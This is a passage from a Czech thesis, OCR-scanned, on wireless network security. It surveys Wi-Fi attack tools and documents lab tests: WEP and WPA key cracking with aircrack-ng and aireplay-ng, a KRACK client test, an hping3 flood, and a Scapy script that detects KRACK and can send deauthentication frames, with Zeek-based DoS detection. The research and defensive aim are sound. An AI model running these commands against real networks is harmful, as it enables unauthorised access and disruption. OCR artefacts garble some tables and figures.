Aircrack je jeden z nejznaméjsich a nejoblibenéjsich nastroji na ldmani hesel. Po-
uziva se k lamani hesel WEP a WPA-PSK. Nejprve zachytava pakety a pak je
analyzuje. Aircrack je soubor nékolika nastroju, naptiklad: airbase-ng pro tutoky
na klienty, aircrack-ng na prolomeni WEP a WPA/WPA2 kli¢t, airmon-ng pro
prepnuti sifového adaptéru do promiskuitniho rezimu, airserv-ng poskytuje pristup
k sitovému adaptéru z ostatnich pocitaci a tkiptun-ng umoznuje provést itok na
WPA-TKIP. Néstroj je popsan na strankach projektu Aircrack-ng [30].

AirSnort

AirSnort se pouziva k lamani hesel WEP. Funguje v rezimu pasivniho monitoro-
vani prenost a po nashromazdéni dostatku paketi, vypocita Sifrovaci klic. Néastroj
je dostupny jak na platformé Linux, tak Windows. Tento nastroj je dostupny na
[31].

Wireshark

WireShark je velmi popularnim néstrojem pro analyzu sitového provozu. K zachy-
tavani pakett pouziva programy WinPcap a libpcap. Umoznuje kontrolovat provoz
a prezentuje podrobnosti o zachycenych paketech. Lze pouzit i nastroj pro filtrovani
paketl podle typu protokolu, retézce atd. Wireshark a jeho dokumentace je dostupna
na [32].

Hashcat

Hashcat je pokrocily nastroj pro obnoveni hesla zalozeny na procesoru pro Windows,
OS X a Linux, ktery podporuje sedm rezimt ttoku pro vice nez 100 optimalizova-
nych algoritmt hashovani. Hashcat pouziva predvypocitané slovniky, rainbow tables
a umoznuje i brute-force k nalezeni efektivniho zptisobu laméni hesel. Rezimy ttokt
jsou Brute-Force attack, Combinator attack, Dictionary attack, Hybrid attack, Mask
attack, Rule-based attack a Toggle-Case attack. Hashcat a jeho dokumentace je do-
stupnd na [33] a na Github [34].

MDK3

MDKS3 je proof-of-concept nastroj, ktery se pouziva pro zatézové testovani sité
802.11. Hlavnim tkolem tohoto néstroje je zaplavit sif faleSnym provozem a vy-
volat tak DoS stav. MDK3 obsahuje nékolik médt, Beacon Flood mdd k zobrazeni
falesnych pristupovych bodu, Authentication DoS mdd k vyvolani DoS stavu, Probes
AP and ESSID Bruteforce mad ke kontrole SSID, Deauthentication/Disassociation
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Amok mdd, ktery deautentizuje vSechny klienty, Michael shutdown explotation madd
ke zruseni veskerého provozu, MAC filter bruteforce mad, ktery se pouziva k autenti-
zovani k AP pomoci dynamicky se ménicich MAC adres a WPA Downgrade test maod
k desifrovani komunikace stanic a AP. Néastroj je dostupny na [35] a na Github [36].

Kismet

Kismet je bezdratovy sitovy detektor, ktery se pouziva k TCP, UDP, DHCP a ARP
sniffingu a jako WIDS (Wireless Intrusion Detection System). Pracuje na Linuxu,

OS X a Windows. Kismet a jeho dokumentace je dostupnd na [37].

Fluxion

Fluxion je ndstroj, ktery se snazi nacist WPA/WPA2 kli¢ z p¥istupového bodu
pomoci socialntho inZenyrstvi (phishing). Nastroj je kompatibilni s nejnovéjsi verzi
Kali Linuxu (2019.4). Néstroj je dostupny na Github [38].

3.4 Navrzené scénare pro experimentalni testovani

V nédvaznosti na identifikované vektory dtoku (viz obr. 3.1) jsou v tabulce 3.3 vy-
brany bezpec¢nostni incidenty. K jednotlivym incidentiim jsou vybrany néstroje,
které slouzi k jejich experimentalni simulaci. Ke kazdému bezpec¢nostnimu incidentu
je navrzena metoda detekce. Realizace navrzenych scéndri je provedena a popsana

v kapitole 4.
Tab. 3.3: Navrzené scénare pro experimentalni testovani.

Vektor | Utok/Zranitelnost Bezp. Protokol Néstroj Detekce
1,3 Lamani hesla 4.2 WEP Aircrack-ng -
1,3 | Slovnikovy tutok 4.2 WPA Aircrack-ng -
1,3 KRACK 4.3 WPA2-Personal skript Sonda 4.4
. ZEEK 4.5
1,3 DoS - hping3
ML 4.6
PA2-P 1
1,3 Kr00k W CTSONA L bokie-krookie | Sonda 4.7
WPA2-Enterprise
1,3 Rouge AP - skript Sonda 4.8
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4 Experimentalni testovani

4.1 Vybér zarizeni a zapojeni experimentalni sité

Aby bylo mozné provadét experimentalni testovani, byl proveden pruzkum bezdra-
tovych routeru a Wi-Fi (sitovych) adaptéru pro sestaveni experimentélni sité. V ta-
bulce 4.1 jsou parametry bezdratovych routert a v tabulce 4.2 jsou parametry Wi-Fi
adaptéru.

Kritériem pro vybér bezdratového routeru je podpora co nejvice sSifrovacich stan-
dardu jak WEP, WPA| WPA2 a podpora co nejvice standardi IEEE 802.11 (a/b/-
g/n/ac), pro nastaveni riznych parametru sité a tim padem i podpora obou pouzi-
vanych pasem (2,4 a 5 GHz).

Kritériem pro vybér Wi-Fi adaptéru je moznost vyuziti monitorovaciho rezimu
kvili zachytavani bezdratového provozu. Dalsim kritériem je podpora co nejvice
standardia IEEE 802.11 a obou pouzivanych pasem (2,4 a 5 GHz) a podpora Sifro-

vacich standarda (WEP, WPA, WPA2, WPA3).
Tab. 4.1: Vybér bezdratovych routeri pro experimentalni testovani.

Nézev Model Standard Pésmo Sifrovéni Technologie
Nighthawk AX12 12-Stream WI-FI 6 Router | RAX120 |a/b/g/n/ac/ax | 24/5 GHz WPA2, WPA3 MU-MIMO
TP-Link Archer C6 AC1200 a/b/g/n/ac 24/5 GHz WEP, WPA, WPA-PSK, WPA2, WPA2-PSK MU-MIMO
RouterBoard MikroTik RB952Ui-5ac2nD hAP lite a/b/g/n/ac | 24/5 GHz WPA-PSK, WPA-EAP, WPA2-PSK, WPA2-EAP -
MikroTik RB4011iGS+5HacQ2HnD-IN - a/b/g/n/ac 24/5 GHz WPA-PSK, WPA-EAP, WPA2-PSK, WPA2-EAP MIMO
Synology MR2200ac Mesh Router - a/b/g/n/ac | 24/5 GHz WEP, WPA, WPA2, WPA3 MU-MIMO
Asus Wireless-AC1200 RT-AC1200 | a/b/g/n/ac | 24/5 GHz | WEP, WPA-PSK, WPA2-PSK, WPA /WPA2-Enterprise -

Tab. 4.2: Vybér Wi-Fi adaptéri pro experimentalni testovani.

Nézev Standard Pasmo [GHz] Chipset Monitorovaci rezim Bezpecnost
Alfa AWUS036ACH a/b/g/n/ac 2,4/5 RTL8812AU ANO WEP, WPA, WPA2, WPS
Alfa AWUS036NEH b/g/n 2,4 Ralink RT3070 ANO WEP, WPA, WPA2, WPS
Alfa AWUS036NH g/n 2,4 Ralink RT3070 ANO WEP, WPA, WPA2, WPS
Alfa AWUS036NHA b/g/n 2.4 Atheros AR9271 ANO WEP, WPA, WPA2, WPS
Alfa AWUS051NH a/b/g/n 2,4/5 Ralink RT3572 ANO WEP, WPA, WPA2, TKIP, AES
Panda PAU09 b/g/n/ac 2,4/5 Ralink RT5572 ANO WEP, WPA, WPA2, TKIP, AES
PCE-AX58BT a/b/g/n/ac/ax 2,4/5 - - WEP, WPA, WPA2, WPA3, WPS
TP-Link TL-WNT722N b/g/n 2.4 Atheros AR9271 ANO WEP, WPA, WPA-PSK, WPA2, WPA2-PSK

Pro tcely experimentalniho testovani byl vybran bezdratovy router TP-Link
Archer C6 model AC1200 jako pristupovy bod. Tento bezdratovy router podpo-
ruje standardy IEEE 802.11 a/b/g/n/ac s obéma pouzivanymi pasmy 2,4 a 5 GHz
a podporuje Sifrovaci standardy WEP, WPA a WPA2. BSSID pristupového bodu je
04:D9:F5:ED:7B:A8, SSID je nastaveno na ,, TP-LINK AP TEST*“.

Jako prvek experimentalni sité v roli Man-in-the-middle je vyuzit virtualizovany
operacni systém Kali Linux ve verzi 2020.1. Soucésti tohoto prvku je i vybrany
Wi-Fi adaptér Alfa AWUS036ACH, ktery podporuje pouzivani monitorovaciho re-
zimu, podporuje standardy IEEE 802.11 a/b/g/n/ac s obéma pouzivanymi pasmy
2,4 a 5 GHz a podporuje Sifrovaci standardy WEP, WPA a WPA2.
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Uzivatelskou stanici predstavuje mobilni telefon Samsung Galaxy A5 2017 s MAC
adresou C0:D3:C0:DC:B8&8:53. Dalsim prvkem experimentalni sité je sitova sonda.
Sonda je reprezentovana IDS systémem Zeek nebo vytvorenymi skripty k detekci

anomalii v experimentdlni siti. Na obr. 4.1 je zobrazena experimentalni sit k expe-

rimentalnimu testovani.

// // / N Son&a \
v A \
! / /' PFistupovy bod \'DS Zeelk
' TP-Link Archer C6 AC1200 |
‘ \ BSSID: 04:D9:F5:ED:78:A8 /
/
\ \ SSID: TP-LINK_AP_TEST /

\ \ N

_~Utzivatel
Sapisung Galaxy A5 2017
S . __--"MAC: C0:D3:C0:DC:B8:53
Man-in-the-middle ---
Alfa AWUSO36ACH
Kali Linux

Obr. 4.1: Sitové zapojeni experimentalni sité.

Zeek

Zeek je pasivni analyzator sitového provozu. Nejedna se o klasicky systém IDS. Jde
predevsim o sitovy monitor, ktery kontroluje veskery provoz na zvoleném rozhrani,
zda nevykazuje podeztelou ¢innost. Muze slouzit pro detekci skodlivé ¢innosti, de-
tekci anomalii a analyzu chovani. Vyhodou tohoto systému jsou soubory logti s kom-
pletnimi zadznamy o provozu. Zeek umoznuje vkladani a vytvareni vlastnich skript
pro analyzovani provozu. Dokumentaci k systému Zeek 1ze nalézt na [39]. Po instalaci
je dulezité upravit konfiguracni soubor node.cfg, kde je nutné nastavit rozhrani, na
kterém bude Zeek naslouchat a konfigurac¢ni soubor networks.cfg, ve kterém je defi-
novana pouzivana sit. Oba soubory se nachézeji v adresaii /usr/local/zeek/etc. Zeek
umoznuje rozliSovat specifické sluzby a protokoly jako napiiklad TCP, UDP, FTP,
DNP3 a dalsi. Kazdy protokol nebo sluzba maji k dispozici sviij skriptovaci soubor
main.zeek, ktery slouzi k analyzovani a logovani specifickych informaci/udalosti ve

41



spojeni s vybranym protokolem. Ke sledovani a logovani obecnych informaci tyka-
jicich se TCP, UDP a ICMP provozu se pouziva skript main.zeek v adresari conn.
Dokumentace k tomuto skriptovacimu souboru je nostupnd na [40]. Po spusténi jsou

jednotlivé logy uloZeny v adresafi /usr/local/zeek/logs/current/ .

Experimentalni testovani

Postup experimentalniho testovani vychazi z tabulky 3.3. Nékteré utoky vyzaduji,
aby byl sitovy adaptér (typicky rozhrani wlan0) v monitorovacim rezimu pro za-
chytavani veskerého provozu v siti. Pro pfepnuti rozhrani wlan0 do monitorovaciho
rezimu v OS Kali Linux se pouzije piikaz airmon-ng, viz vypis 4.1. Nasledné je
sitové rozhrani v monitorovacim rezimu oznacovano jako wlanOmon. Pro monitoro-
vani a zaznamenavani sifového provozu byl vybran program Wireshark. Pouzitelné
filtry na zachazeni s bezdratovym provozem v programu Wireshark jsou dostupné
na [41]. Jako piiklad pro vyfiltrovani beacon ramce se pouzije filtr wlan.ssid ==
"I'P-LINK_AP_TEST".

Vypis 4.1: Nastaveni sitového adaptéru do monitorovaciho rezimu.

1 |airmon-ng start wlanO

4.2 Lamani hesel a slovnikovy Gtok, Aircrack-ng

Nastroj Aircrack-ng je soucéasti Kali Linuxu, takze neni nutna instalace jinych kom-
ponent. Prvni testovani bylo zaméreno na zabezpeceni WEP. Nejprve probéhlo na-
staveni tohoto typu zabezpeéeni (Open System — WEP-64bits) na AP. K jeho na-
staveni bylo nutné vyuzit standard 802.11g, protoze vyssi standardy (n/ac) zaka-
zuji pouzivani sifrovani WEP. Jako kli¢c WEP byla nastavena kombinace ,,41831%.
Po prepnuti sitového rozhrani wlan0 do monitorovaciho rezimu byl zachycen sitovy
provoz s vyuzitim programu Wireshark, kde byl zachycen beacon ramec experimen-
talntho AP. K vyuziti nedokonalosti zabezpeceni WEP je nutné nejprve zachytit
datovy provoz, ktery je sifrovan pomoci WEP. K prehlednému vypisu vSech dostup-
nych pristupovych bodt a jejich parametri lze vyuzit prikaz airodump, viz vypis 4.2.
Diky tomuto prikazu zle detekovat cislo kanalu, na kterém AP vysila a BSSID.
Téchto informaci je vyuzito v nasledujicim prikazu airodump-ng, vypis 4.3, slou-
zicimu k zachyceni a ulozeni datového provozu z/na experimentalni AP. Datovy
provoz je zapisovan do souboru ,,TEST*“. Pomoci prikazu aireplay-ng, viz vypis 4.4
je provedena fake autentizace k vybranému AP. Nasledné je generovan provoz po-

moci ARP request/replay.
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Vypis 4.2: Airodump — zobrazeni dostupnych bezdratovych siti.

airodump-ng wlanOmon

Vypis 4.3: Airodump — specificky datovy provoz.

airodump-ng -c 13 --bssid 04:D9:F5:ED:7B:A8 -w /TEST wlanOmon

Vypis 4.4: Aireplay — Fake autentizace a generovani provozu.

aireplay-ng -1 0 -a 04:D9:F5:ED:7B:A8 wlanOmon
aireplay-ng -3 -b 04:D9:F5:ED:7B:A8 wlanOmon

Po dosazeni dostateéné velkého poctu prenesenych dat (minimalné 10000 IV),

ktera jsou Sifrovana, lze pomoci prikazu aircrack-ng provézt prolomeni klice WEP,

viz vypis 4.5. Vstupem do ptikazu je cesta k souboru TEST, kde je zachycena komu-

nikace. Po 10 sekundach byl nastrojem aircrack-ng nalezen klic WEP. Vystup pro-

gramu viz obr. 4.6. Tabulka 4.3 porovnava provedené testovani zamérené na rtzné
délky klici protokolu WEP. Protokol WEP umoziiuje nastaveni 64/128/152 bito-

vého klice. V experimentalnim testovani bylo k prolomeni 64 bitového klice nutné

zachytit 13660 IV, samotnéd doba prolomeni (po zachyceni IV) trvala 10 s. V pripadé
128 bitového klice bylo tieba zachytit 239396 IV s dobou prolomeni 2 s. Prolomeni

128 bitového klice trvalo kratsi dobu, ale bylo treba zachytit daleko vice sitového

provozu k uspésnému prolomenti klice.

Vypis 4.5: Aircrack — piikaz k prolomeni klice WEP.

aircrack-ng -0 ’/root/TEST_O1.cap’

Vypis 4.6: Aircrack — tspésné prolomeni klice WEP.

Aircrack-ng 1.5.2
[00:00:10] Tested 40418 keys (got 13660 IVs)
KB

depth byte (vote)

0/
4/
0/
17/
0/

© 00 N O U = W N
W N =, O

—_ =
= O

KEY FOUND!

—
[\]

12
7
24
21
1

34(19200)
31(17408)
38(18688)
01(16640)
31(21248)

EC (18944)
74(17408)
36(18432)
34(16384)
12(18176)

A3(18176)
7B(17408)
16(18176)
91(16384)
5A(18176)

[ 34:31:38:33:31 ] (ASCII: 41831 )

35(17664)
4A(17152)
65(17920)
DO (16384)
AE (18176)

89(17664)
5D (17152)
85(17664)
45(16128)
6D (17920)

Protokol

Tab. 4.3: Srovnani prolomeni WEP v zavislosti na délce klice.

Velikost klice Kli¢ Pocet IV | Pocet testovanych klici | Doba

WEP

64 bitt 41831 13660 IV 40418 10 s

WEP

128 bita Wla6xLoMklgLd | 239396 IV 511 2s
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Druhé testovani bylo zaméreno na sifrovani WPA. Nejprve byla provedena zména
v konfiguraci pristupového bodu. Bylo pozménéno Sifrovani na WPA s pristupovou
frazi ,,Anonymous*“. Postup testovani byl totozny jako s testovanim sifrovani WEP,
az na samotné prolomeni klice WPA. Jelikoz v pripadé WPA je tieba vyuzit slovnik.
Posledni prikaz, viz vypis 4.7, se lisi v implementaci slovniku. Byl vyuzit slovnik,
ktery je soucasti Kali Linuxu, Rockyou. Slovnik Rockyou a jeho specifikaci lze najit

na [42]. Uspé&sné prolomeni hesla viz obr. 4.8. Prolomen{ hesla trvalo 56 minut.

Vypis 4.7: Aircrack — prolomeni klice WPA.

1 |aircrack-ng -b 04:D9:F5:ED:7B:A8 -w

/usr/share/wordlist/rockyou.txt /root/TESTWPA_O1l.cap

Vypis 4.8: Aircrack — tspésné prolomeni klice WPA.

1 |Aircrack-ng 1.5.2
2
3 | [00:17:13] 1164248/9822768 keys tested (2583.06 k/s)
4
5 |Time left: 55 minutes, 52 seconds 11.85\%
6
7 |KEY FOUND! [ Anonymous ]
8
9 |Master Key : 0B 14 9F 6E 77 1B 61 3E CE 5F BE 47 0C F1 FF A8
10 BB B7 77 79 86 25 F3 9F BE 7A 44 6A AB AO 21 37
11
12 |Transient Key : FA EB EO 1A D3 96 A2 AB 5E 73 C9 53 EC 55 9C C4
13 17 5D 81 13 49 72 71 4C C3 7TE CD 71 8D 7B 97 94
14 D8 43 55 FF 7E 2C 5D 36 A3 2C FO 24 FD 9E C8 D7
15 01 9F 70 73 A4 18 B3 08 3E 4C C5 4C 71 19 7A D8
16
17 |EAPOL HMAC : 3C 2C FC 57 5C 42 51 07 C6 B3 DC 75 F1 A5 16 OE

4.3 Simulace atoku KRACK

K demonstraci utoku KRACK byl vyuzit projekt [29], ktery je dostupny i na Gi-
thub [43]. Tento projekt obsahuje skripty k otestovani zda lze uzivatelské stanice
nebo pristupové body ovlivnit itokem KRACK. Pro realizaci tohoto testovani je
nutné prekonfigurovat zabezpeceni pristupového bodu nastavenim na podporu Sif-
rovani WPA2-Personal. Jesté predtim nez je vyuzit samotny skript pro testovani
zranitelnosti 4-way Handshake, je tfeba provést update a nainstalovat potfebné
knihovny a nastroje pro testovani, viz vypis 4.9. Nasledné je tfeba stahnout ob-
sah projektu z Github repozitare pomoci piikazu git clone anebo ptimo z webovych

stranek projektu. Dalsim krokem je vstoupit do adresare krackattack, ve kterém se

44



nachazi skript k zakazani hardwarového Sifrovani, viz vypis 4.10. Po tomto kroku

je nutné vstoupit do adresare hostapd a spustit kompilaci modifikované hostapd in-

stance. Déle je nutné deaktivovat Wi-Fi, umoznit skriptim pfistup k Wi-Fi (rfkill)

a vypnout rozhrani wlan0 a wlanOmon, viz vypis 4.11.

=W N =

Vypis 4.9: Krack — Instalace zavislosti.

apt-get install 1libnl-3-dev libnl-genl-3-dev pkg-config
libssl-dev net-tools git sysfsutils python-scapy

python-pycryptodome

Vypis 4.10: Krack — Vypnuti hardwarového Sifrovani.

./disable-hwcrypto.sh

Vypis 4.11: Krack — Deaktivace rozhrani.

service network-manager stop
sudo rfkill unblock wifi
ifconfig wlanOmon down

ifconfig wlanO down

Pred spusténim skriptu je tfeba upravit soubor hostapd.conf kde je nutné de-

finovat SSID, rozhrani a dalsi parametry. Je nutné se vratit do slozky krackattack

a spustit skript pro otestovani 4-way Handshake na zranitelnost KRACK, viz vy-

pis 4.12. Vypis 4.13 zobrazuje, ze pripojené zatizeni je zranitelné pii vyuziti KRACK.

N R

ot

Vypis 4.12: Krack — Spusténi skriptu.

./krack-test-client.py

Vypis 4.13: Krack — Vysledek testovani.

STA c0:d3:c0:dc:b8:53 IEEE 802.11: authenticated

STA c0:d3:c0:dc:b8:53 IEEE 802.11: associated (aid 1)

AP-STA-CONNECTED c0:d3:c0:dc:b8:53

STA c0:d3:c0:dc:b8:53 RADIUS: starting accounting session
13308B03A156F689

c0:d3:¢c0:dc:b8:53: 4-way handshake completed (RSN)

c0:d3:c0:dc:b8:53: DHCP reply 192.168.100.2 > c0:d3:c0:dc:b8:53

c0:d3:c0:dc:b8:53: DHCP reply 192.168.100.2 > c0:d3:c0:dc:b8:53

4.4 Detekce utoku KRACK pomoaoci sitové sondy

V ramci experimentalniho testovani byla navrzena metoda pro detekci itoku Krack

v siti. Metoda je postavena na principu utoku Krack, popsan v kapitole 3.2, ktery

vyuziva opétovného zaslani treti, resp. ¢tvrté zpravy 4-way handshake, viz obr. 3.2.

K detekci byl vytvoren skript v programovacim jazyce Python. K zachytavani
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sitového provozu vyuziva nastroj Scapy. Pro odliseni EAPOL rameciu je vyuzit filtr,
ktery filtruje pouze odpovidajici ramce, viz vypis 4.14. Nasledné je paket zpracovan
a jsou z néj ziskany informace jako zdrojova a cilova adresa, BSSID a typ zpravy.
Na zakladé odesilatele je provedena kontrola z kolika zprav se sklada provedeny
handshake.

Vypis 4.14: Filtrace EAPOL ramct.

1 |sniff(filter="wlan proto 0x888e", prn=handshake, iface="wlanOmon")

Vytvoreny skript script_ deauth.py obsahuje moznost detekovat podruhé zaslanou
zpravu 4 (pfepinac -a), provadét detekcei zaslanych deautentizacnich ramet vyskytu-
jici se na siti (prepinac -b), déle umoznuje provadét detekei podruhé zaslanych zprav
4 spojenych s automatickou deautentizaci stanice (prepina¢ -c¢) a samostatné prova-
déni deautentizace (prepinac¢ -d). Moznosti, viz vypis 4.15. Vytvoreny skript pracuje
se sifovym provozem (sitova sonda), ke spusténi je treba sitové zafizeni pracujici
v monitorovacim rezimu.

Vypis 4.15: Vytvoreny skript pro praci se sitovym provozem, sitova sonda.

1 |root@kali:/home/student/Plocha/deauth# python3 script_deauth.py -h
2 |usage: script_deauth.py [-h] [-al [-b]l] [-c] [-4d]

3

4 |optional arguments:

5 -h, --help show this help message and exit

6 -a, --DH Detekuj opakujici se zpravu.

7 -b, --DD Detekuj deautentizaci.

8 -c, --DH_D Detekuj opakujici se zpravu a proved deautentizaci.
9 -d, --D Deautentizuj.

Pasivni detekce zaslanych 4. zprav 4-way handshake pomoci skriptu je zobrazena
na vypisu 4.16. Na vypisu je zaznamenana provedend komunikace, kde byla ¢tvrta

zprava zaslana pouze jedenkrat (modfe zvyraznéno).

Vypis 4.16: Zachyceni 4. zpravy 4-way handshake pomoci skriptu.

root@kali:/home/student/Plocha/deauth# python3 script_deauth.py -a
Zdrojova adresa: C0:D3:C0:DC:B8:53

Cilova adresa: 04:D9:F5:ED:7B:A8

ID: 14849

Typ: 2

BSSID: 04:D9:F5:ED:7B:A8

Komunikace s klientem C0:D3:C0:DC:B8:53 zachycena: 1 x

N OOt A W N

Vypis 4.17 zobrazuje zachycené deautentizacni ramce. Tyto ramce mohou byt
soucasti provadéného ttoku, je tak nutné provadét kontrolu jejich vyskytu v siti,
zejména v pripadé shlukovych vyskytt téchto zprav na siti. K provedeni detekce
deutentiza¢nich ramca v siti je vyuzit nastroj Scapy a detekce prislusné vrstvy
(packet.haslayer(scapy.layers.dot11.Dot11Deauth)).
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Vypis 4.17: Zachyceni deautentizacnich ramct pomoci skriptu.

1 |root@kali:/home/student/Plocha/deauth# python3 script_deauth.py -b
2 |04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
3 |c0:d3:c0:dc:b8:53 ---> 04:d9:f5:ed:7b:a8
4 | c0:d3:c0:dc:b8:53 ---> 04:d9:f5:ed:7b:a8
5 [ 04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
6 |04:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
7 104:d9:f5:ed:7b:a8 ---> c0:d3:c0:dc:b8:53
8 | c0:d3:c0:dc:b8:53 ---> 04:d9:f5:ed:7b:a8

Na obr. 4.2 je zobrazeno fungovani vytvoreného skriptu s pouzitim parametru -c.
V pripadé detekovani zpravy 4 dvakrat béhem jednoho 4-way handshake je spusténo
automatické provedeni zaslani deautentizac¢nich paketi. Pomoci této metody je po-
volen pouze 4-way handshake, ktery byl proveden s jedenkrat zaslanou zpravou 4.
Utok je tedy proveden, ale ihned detekovan a neni mozné desifrovat nasledujici ko-
munikaci. Vypis 4.18 zobrazuje vyuziti této metody. Nejprve je zaznamenana zprava
4 (faddek 7, modre zvyraznéno), nasledné je tato zprava zasldana podruhé (fadek 14,
¢ervené zvyraznéno). Z duvodu nepovoleného chovani je zarizeni automaticky deau-
tentizovano od bezdratové sité (fadek 15, Cervené zvyraznéno). Vypis 4.19 zobrazuje
cilenou deautentizaci vybrané stanice (pomoci zvolené MAC adresy klienta k deau-
tentizaci a BSSID AP) od bezdratové sité. Jak v pripadé automatické deautentizace,
tak v pripadé cilené provedené deautentizace jsou vygenerovany deautentizacni pa-

kety pro oba sméry komunikace.

?
I i
(r, ANonce)
- (r, SNonce)
(r+1; GTK) —
; (r+1)
(r+2; GTK)
bl Epud4. (r+2)}

Obr. 4.2: Detekce ttoku KRACK s néslednou deautentizaci.
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Vypis 4.18: Detekce 4. zpravy 4-way handshake s naslednou deautentizaci.

1 |root@kali:/home/student/Plocha/deauth# python3 script_deauth.py -c
2 |Zdrojova adresa: C0:D3:C0:DC:B8:53

3 |Cilova adresa: 04:D9:F5:ED:7B:A8

4 | ID: 14849

5 | Typ: 2

6 |BSSID: 04:D9:F5:ED:7B:A8

7 | Komunikace s klientem C0:D3:C0:DC:B8:53 zachycena: 1 x

8 _______________

9 | Zdrojova adresa: C0:D3:C0:DC:B8:53

10 |Cilova adresa: 04:D9:F5:ED:7B:A8

11 |ID: 14849

12 | Typ: 2

13 |BSSID: 04:D9:F5:ED:7B:A8

14 | Komunikace s klientem CO:D3:C0:DC:B8:53 zachycena: 2 x
15 |Deautentizuji klienta C0:D3:C0:DC:B8:53 od BSSID 04:D9:F5:ED:7B:A8
16 |Odeslano 10 paketu.

Vypis 4.19: Provedeni deautentizace od sité pomoci sitové sondy.

root@kali:/home/student/Plocha/deauth# python3 script_deauth.py -d
Zadejte BSSID: 04:D9:F5:ED:7B:A8

Zadejte MAC stanice k deautentizaci: C0:D3:C0:DC:B8:53

Kolik ramcu odeslat: 10

Deautentizuji klienta C0:D3:C0:DC:B8:53 od BSSID 04:D9:F5:ED:7B:A8
Odeslano 10 paketu.

© 00 N O U W NN

4.5 Simulace utoku DoS a jeho detekce

V ramci experimentu bylo provedeno testovani DoS ttoku zaméreného na uzivatel-
skou stanici. Experimentalni testovani je provadéno ze stanice Man-in-the-middle
vyuzivajici operacni systém Kali Linux. Ke generovani DoS utoku bylo vyuzito na-
stroje hping3, viz vypis 4.20, s parametrem —flood, dokumentace na [44]. Tento na-
stroj generuje velké mnozstvi TCP pakett bez specifikovaného pole Flags maximalni
moznou rychlosti. Kazdy takovy paket je zaslany uzivatelské stanici, ktera na néj
reaguje pomoci TCP paketu s priznakem RST. Tim dochéazi k zatizeni uzivatelské
stanice. Za ucelem zachyceni provadéného utoku bylo vyuzito nastroje Wireshark
zachytavajici provoz na bezdratovém rozhrani wlan0, zobrazeno na obr. 4.3. Cervené

vyznacena oblast zobrazuje probihajici DoS, ¢erné vyznacend oblast bézny provoz.

Vypis 4.20: Vyuziti nastroje hping3.

1 |root@kali:~/Desktop# hping3 192.168.1.238 --flood

Na zékladé analyzy ziskanych dat z probihajici simulace ttoku bylo zjisténo, ze
zaznamenany provoz obsahoval celkem 80 927 paketi z toho 80 868 TCP pakety
(tj- 99,9 % provozu). Béhem testovani bylo navazano 30 556 TCP spojeni. Veli-
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Obr. 4.3: Detekce DoS pomoci Wireshark.

kost 97,19 % provozu byla v rozmezi 40-79 B s prumérnou velikosti paketu 54,28 B,
respektive 55 B. Zaroven byl provoz zaznamenan pomoci systému Zeek (umistén na
sitové sondé). Zde bylo vyuzito logu conn.log. Ze ziskanych dat bylo zjisténo, zZe se
provadény utok vyznacoval kratkou dobou spojeni. Tato doba spojeni byla primeérné
7 us. Na zakladé ziskanych dat byly vytvoreny rovnice pro detekci titoku. Rovnice
4.1 slouzi k ziskani pramérné délky spojeni 7. Tato hodnota je ziskana jako podil

sumy délek jednotlivych predchozich dob trvani spojeni ¢ a jejich poctu n.

[s]  (4.1)

Jednotlivé procentualni rozdily vytvari pole hodnot w, viz rovnice 4.2. Nasledné

je vyuzito vzorce 4.3 pro urc¢eni prumérného procentualniho rozdilu A jednotlivych w.

w=A{z1,29,...,Tn} -] (4.2)

_ 2w

m

A %] (4.3)

Pro detekovani anomalii sifového provozu byla navrzena rovnice 4.4. K vyhla-
seni poplachu je vyuzito primérného procentualniho rozdilu A, ktery je porovnan

s hodnotou predchoziho primérného procentualniho rozdilu A._; s toleranci k [%)].
A (T=k) <A <Ay - (1+K) -] (44)

V nastroji Zeek byly tyto rovnice aplikovany dle ndvrhu na obr. 4.4 ve skriptu

main.zeek. V tomto skriptu bylo vyuzito funkce set conn, v ramci které jsou pri
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ukonceni spojeni implementovany rovnice a podminky pro vyhodnoceni zda nedo-

chazi k anoméliim. Hodnoty n a m zavisi na aktualnim pocétu provedenych spojeni.

Pramérna
procenta

_

UloZeni adresy do
vektoru

Counter ++
Duration
selective

Prumer = duration/counter

> yin selective

Procentudlni rozdil
v selective

Obr. 4.4: Vyvojovy diagram detekce utoku DoS v IDS Zeek.
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Ve zkraceném logu, viz vypis 4.21, jsou zobrazeny vybrané parametry provozu

jako Casové razitko (ts), IP adresy, port, protokol, doba trvani (9, duration), prui-

meérnd délka spojeni (7) a odstup (A). V pripadé splnéni rovnice 4.4 je v poli popis

zobrazen text ***DoS***.

Vypis 4.21: Log se zachycenym ttokem DoS.

1 |ts id

2 |1 192.
3 (2 192.
4 |3 192.
5 14 192.
6 |5 192.
716 192.
8 |7 192.
9 |8 192.

.orig_h
168.1.217
168.1.217
168.1.217
168.1.217
168.1.217
168.1.217
168.1.217
168.1.217

id

192.
192.
192.
192.
192.
192.
192.
192.

.resp_h
168.
168.
168.
168.
168.
168.
168.
168.

R e S e T

.238
.238
.238
.238
.238
.238
.238
.238

duration

0.000008

O O O O © O ©

.000007
.000007
.000007
.000007
.000006
.000007
.000007

popis

*kDoS**
*kDoS**
*kDoS**
*kDoS**

*kDoS**

prumer_spoj

0.000025

O O O O © o o

.000021
.000019
.000017
.000016
.000015
.000014
.000013

odstup
330.355277
271.933124
237.546499
215.196796
201.025825
186.314263
177.106931
170.996238

V ramci experimentalniho testovani byl parametr k z

rovnice 4.4 nastaven na

hodnotu 10 %. Obr. 4.5 zobrazuje znazornéni bézného provozu a utoku DoS. V grafu

jsou také vyneseny horni (\,_;-(14k)) a dolni (A,_1-(1—k)) hranice na zékladé rov-

nice 4.4 s nastavenym parametrem £ na hodnotu 0,1 (10 %). Z divodu proménlivosti

délky jednotlivych spojeni, méni se i hodnoty hranic (rovnice 4.4), které vytvareji

interval, ve kterém muze byt detekovan a vyhlasen poplach. Parametr k = 0,1 se

nejvice blizi vynesenym bodim a je stale schopen detekovat ttok.

400

350

300

250

200

Odstup [%]

150

100

50

3

O

4

5 6

Poradi jednotlivych spojeni [-]

@ BéZny provoz
@ DoS utok
Dolni hranice, 1-k

Horni hranice, 1+k

Obr. 4.5: Zachyceni DoS, parametr k nastaven na 10 %.

Pfi zméné parametru & na hodnotu 0,2 (20 %), vzniknou v experimentalnim

prostiedi falesné poplachy, protoze hranice tvori vetsi odstup pro detekci a bézny

provoz je oznacen za DoS 1utok, viz obr. 4.6.
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Obr. 4.6: Zachyceni DoS, parametr k nastaven na 20 %.

